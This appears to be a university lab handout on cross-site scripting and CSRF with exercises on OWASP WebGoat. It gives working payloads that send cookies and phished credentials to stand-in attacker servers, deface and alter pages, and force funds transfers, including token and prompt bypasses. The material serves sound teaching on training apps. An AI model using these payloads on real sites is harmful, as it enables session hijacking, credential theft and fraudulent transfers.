WS3: XSS / CSRF

Cross-site scripting (XSS)

Cross-site scripting (XSS) is a *code injection* attack, which allows an attacker to inject code into another user's browser. Usually the attacker's code is written using the *JavaScript* language (rarely *VBScript* which only affects Microsoft Edge and Internet Explorer browsers).

How is JavaScript code injected?

The attacker does not act directly on the victim's browser. It exploits a vulnerability in a website visited by the victim in order to cause that website to send malicious code to the victim.

In order to execute the JavaScript code in the victim's browser, the attacker must inject it into a page of the website that is visited by the victim. This can happen if the site directly includes user-sourced text in its pages. Thus the attacker can write a string that will be treated as code by the victim's browser.

Consequences of using malicious JavaScript code

The possibility to write malicious code using JavaScript is due to the fact that:

- some local information (e.g. cookies) may be accessed
- HTTP requests with arbitrary content can be made to arbitrary destinations using XMLHttpRequest (AJAX) and other mechanisms
- the current web page can be dynamically modified (*DOM - Document Object Model*)

The ability to execute JavaScript code in another user's browser makes the following types of attacks possible:

- *cookie theft*: the attacker can access the victim's cookies, using *document.cookie*, send them to his website and use them to extract various information such as session ID (*sessionID*)
- *keylogging*: the attacker can make a *keyboard event listener*, which records which keys are pressed by the user, using *addEventListener*, and then send them to his own server
- *phishing*: the attacker can insert a fake login form into the web page and set the form action to send the user's typed data to his own server

Types of XSS

- *Persistent (stored) XSS*: malicious code is stored at the server level, e.g. in the database used by the web server
- *Reflected XSS*: malicious code is stored in the request sent by the user's browser to the server. It is immediately returned by the web application in a error, search result, or any other form of server response that includes some or all malicious code
- *DOM based XSS*: this is a type of XSS attack where the entire data stream does not leave the browser (does not involve the server). No malicious code is inserted into the web page. The only script that is executed automatically when loading the web page is the original script, which is normally part of the web page. The problem is that this script uses user input. The payload is executed as a result of changing the "environment" in the victim's browser, which is used by the original script so that the client code runs unexpectedly. The web page does not change, but the code on the page executes differently due to malicious changes that have been made to the DOM environment.

XSS vulnerability detection

A first test used to detect whether or not a website is vulnerable to XSS is to insert into the text fields within the web page data such as:

```
<script>alert(123)</script>
```

or

```
"><script>alert(document.cookie)</script>
```

If any of these scripts is executed (a message appears in the web page), the website is vulnerable.

Cross-Site Request Forgery (CSRF)

CSRF is a type of attack in which malicious requests are sent to the server on behalf of a user that the server trusts. Unlike XSS which exploits the trust a user has in the responses received from a particular site, CSRF exploits the trust a site has in a user's browser.

Laboratory

XSS Exploit 1: Session ID discovery

Description:

- vulnerable apps: OWASP Ghost
- exploit goal: to find out session ID and send it the attacker's server
- exploit type: cookie theft

Implementation:

We authenticate with the user *anonymous*. In the posting form we write:

```
<script>var i=new
Image;i.src="http://attacker_web_server/?"+document.cookie;</script>
```

Result:

When another user such as admin logs in, a *GET* request similar to:

```
http://attacker_web_server/?victimcookie=user:=admin;%20JJSESSIONID=DA4C770
58B213D8C0442F174BCACD32D;%20acopendivids=swingset,jotto,phpbb2,redmine;%20
acacgroupswithpersist=nada;%20PHPSESSID=ph6kofgsr55gb4e3cnnp3rlps6;%20tz_of
fset=7200
```

XSS Exploit 2: Learn user credentials

Description:

- vulnerable application: OWASP Web Goat ("Cross-Site Scripting (XSS)" / "Phishing with XSS")
- exploit type: phishing attack
- exploit goal: to learn a user's username and password by creating a fake form on a web page of a website that the user trusts. The user's authentication data will be sent to the attacker's server via a *POST* request
- auxiliary applications used to realize the exploit: *HTML compressor*

Implementation:

- use *HTML compressor* to reduce the length of HTML code
- in the "Search" field we write:

```
Complete this form: <b> Only registered users are allowed to use our search
feature!</b>
<br><br> Username: <br><input type="text" name="username">
```

```
<br>Password:
<br><input type="password" name="password">
<br><input type="submit" value="Login"
onclick="var xssImg=new Image();xssImg.src =
'http://attacker_ip/WebGoat/catcher?PROPERTY=yes&u=' +
this.form.username.value+'&p='+this.form.password.value">
```

Result:

A new form will appear on the web page. When the user fills in the form fields and presses the "Login" button, his or her authentication data will be sent to the attacker's web server.

XSS Exploit 3: Stored XSS - editing a user's profile

Description:

- vulnerable application: OWASP Web Goat ("Cross-Site Scripting (XSS)" / "LAB: Cross Site Scripting" / "Stage1: Stored XSS")
- exploit type: stored XSS
- exploit purpose: we use 2 of the application users: Tom and Jerry. We will edit Tom's profile and execute a Stored XSS attack on the "Street" field in the "Edit Profile" page. When Jerry wants to see Tom's profile, the XSS code will be executed

Implementation:

- login: user Tom, password "tom"
- to edit Tom's profile after login: ViewProfile → EditProfile
- in the "Street" field on the "Tom's profile" page we write:

```
2211 HyperThread Rd.">&lt;script&gt;alert("cookie id is: " +
document.cookie)&lt;/script&gt;
```

Result:

When someone wants to view Tom's profile, a JavaScript message will pop up on the screen displaying the cookie content of the user viewing the profile. To send this content to the attacker's web server, in the "Street" field we'll type:

```
2211 HyperThread
Rd.">&lt;script&gt;window.location='http://attacker_web_server/?victimcookie='+do
cument.cookie&lt;/script&gt;
```

XSS Exploit 4: Stored XSS - displaying a message

Description:

- vulnerable application: OWASP Web Goat ("Cross-Site Scripting (XSS)" / "Stored XSS Attacks")
- exploit type: stored XSS

Implementation:

In the "Message" field we write:

```
<script>setTimeout('alert("cookie id is: ' + document.cookie +
'");',1000);setTimeout("document.body.innerHTML='<font size=7>This page has
been hacked
!</font>';",3000);setTimeout("window.location.reload()",5000)</script>
```

Result:

A JavaScript message will appear on the screen displaying the contents of the user's cookie. Once the user presses the "ok" button, he/she will be redirected to another web page displaying the message "This page has been hacked!".

Exploit XSS 5: Reflected XSS - altering product information

Description:

- vulnerable application: OWASP Web Goat ("Cross-Site Scripting (XSS)" / "Reflected XSS Attacks")
- exploit type: reflected XSS
- exploit goal: an XSS attack to modify the quantity and price for all products displayed on the web page

Implementation:

In the field "Enter your three digit access code:" we write:

```
111'><script>alert('This is reflected
XSS!');for(i=0;i<=document.getElementsByTagName("td").length-1;
i++){if(document.getElementsByTagName("td")[i].innerHTML.indexOf('$')==0){
document.getElementsByTagName("td")[i].innerHTML='$0';}};for(i=0;
i<document.getElementsByTagName("input").length-1;i++){if
(document.getElementsByTagName("input")[i].type=='text'){
```

```
document.getElementsByTagName("input")[i].value='100000';}}</script>
```

Result:

A JavaScript message will appear on the screen + the price and quantity for all products will be changed.

CSRF Exploit 1: Initiating a bank transfer

Description:

- vulnerable application: Web Goat ("Cross-Site Scripting (XSS)" / "Cross Site Request Forgery (CSRF)")
- exploit type: CSRF
- exploit purpose (Web Goat challenge): sending an email containing a 1x1 pixel image whose URL leads to a malicious request. Users who receive the email and at the same time are logged into a bank's website will have their funds transferred.

Implementation:

In the "Message" field we write:

```
<img style="width:ipx;height:1px;"
src="http://10.200.1xx.18/WebGoat/attack?Screen=52&menu=900&transferFunds=0
00"/>Show img
```

Result:

When the user views the newly created message, a request will be made with the specified URL. In the browser, the parameters (e.g. transferFunds) will not appear, but we can see them if we intercept the request, e.g. via Developer Tools.

An example of a CSRF attack used to transfer funds to the attacker's account is the following:

```
<a href="http://bank.com/transfer.do?acct=attacker&amount=100000"> View my
Pictures!</a>
```

In this case the customer has to click on the link. An example where no user interaction is required for the bank transfer to take place is the following:

```
<img src="http://bank.com/transfer.do?acct=attacker&amount=100000"
width="0" height="0" border="0">
```

CSRF Exploit 2: CSRF Prompt Bypass - funds transfer + confirmation ("Cross-Site Scripting (XSS)" / "CSRF Prompt By-Pass")

Description:

- exploit type: CSRF Prompt By-Pass
- exploit purpose: sending an email containing several malicious requests: the first one transfers funds and the second one confirms the validation request triggered by the first request
- auxiliary applications used to realize the exploit: *Two-Stage CSRF Prompt Bypass Generator (GET-based)* - available on the course Moodle page.

Implementation:

- use the "Two-Stage CSRF Prompt Bypass Generator (GET-based)"
- copy the URL of the page and write it in the first field: "First URL to be loaded"
- the URL will be concatenated with "&transferFunds=4000":

```
http://10.200.1xx.18/WebGoat/attack?Screen=45&menu=900&transferFunds=4000
```

- the second URL is:

```
http://10.200.1xx.18/WebGoat/attack?Screen=45&menu=900&transferFunds=CONFIRM
```

- uncheck "Hidden Frames"
- click "Generate"
- the generated code will be copied in the "Message" field of the WebGoat page
- write a headline
- click "Submit"

Result:

When a user clicks on the message, their funds will be transferred.

Two-Stage CSRF Prompt Bypass Generator generates the following code:

```
<script>function __yload_2nd(){x=document.getElementById("__y_u2");
```

```
y=(x.contentWindow || x.contentDocument);
y.location="http://10.200.1xx.18/WebGoat/attack?Screen=45&menu=900&transfer
Funds=CON IRM"; x.onload=function(){alert('Attack
completed!')}}</script><iframe style="display:block" id="__y_u2"
src=""></iframe><iframe style="display:block"
src="http://10.200.1xx.18/WebGoat/attack?Screen=45&menu=900&transferFunds=4
000" onload="setTimeout('__yload_2nd()',1000)"></iframe>
```

This code executes the first request to the server, then after 1000 ms it calls the function defined at the beginning, which performs the second request.

CSRF Exploit 3: CSRF Token Bypass - funds transfer with anti-CSRF protection

Description:

- vulnerable application: OWASP Web Goat ("Cross-Site Scripting (XSS)" / "CSRF Token By-Pass")
- exploit type: CSRF Token By-Pass
- exploit goal: sending an email containing a malicious funds transfer request bypassing the CSRF protection provided by a token written in each form as a hidden field. To accomplish this we need to know the value of the token with which the request is made
- auxiliary applications used to realize the exploit: *web developer add-on, Two-Stage CSRF Token Bypass Generator (GET-based)* - available on the Moodle course page.

Implementation:

- concatenate "transferFunds=main" to the URL of the web page:

```
http://10.200.1xx.18/WebGoat/attack?Screen=2&menu=900&transferFunds=main
```

- this URL takes us to a new web page; in the source of this page we will find the token value
- we use the developer tools and find the token name in:

```
<input name='CSRFToken' type='hidden' value='-1524862904'>
```

- use "Two-Stage CSRF Token Bypass Generator (GET-based)"
- in the "First URL to be loaded" field we write the URL of the page:

```
http://10.200.1xx.18/WebGoat/attack?Screen=2&menu=900&transferFunds=main
```

- in the field "Anti-CSRF token input input name in First URL" we write: CSRFToken
- in the field "Second URL to be loaded with Anti-CSRF token" we write:

```
http://10.200.1xx.18/WebGoat/attack?Screen=2&menu=900&transferFunds=40000
```

- uncheck Hidden Frames
- click "generate"
- copy the generated code in the "Message" field of the WebGoat page
- write a headline
- click "Submit"

Result:

When a user clicks on the title written by us, their funds will be transferred to the attacker.

Assignment

1. Solve the 6 exercises at the following link: https://xss-game.appspot.com/level1
2. Access the "OWASP Mandiant Struts Forms" application and solve the 4 exercises.

   The goal of these exercises is to exploit vulnerabilities such as XSS and CSRF, over various forms of user input validation.
3. Access the "OWASP CSRFGuard Test " and solve the proposed exercises.
4. Go to Simple ASP.NET Forms application and solve exercises.

References

- Types of XSS:
  - Types of XSS | OWASP Foundation
  - Excess XSS: A comprehensive tutorial on cross-site scripting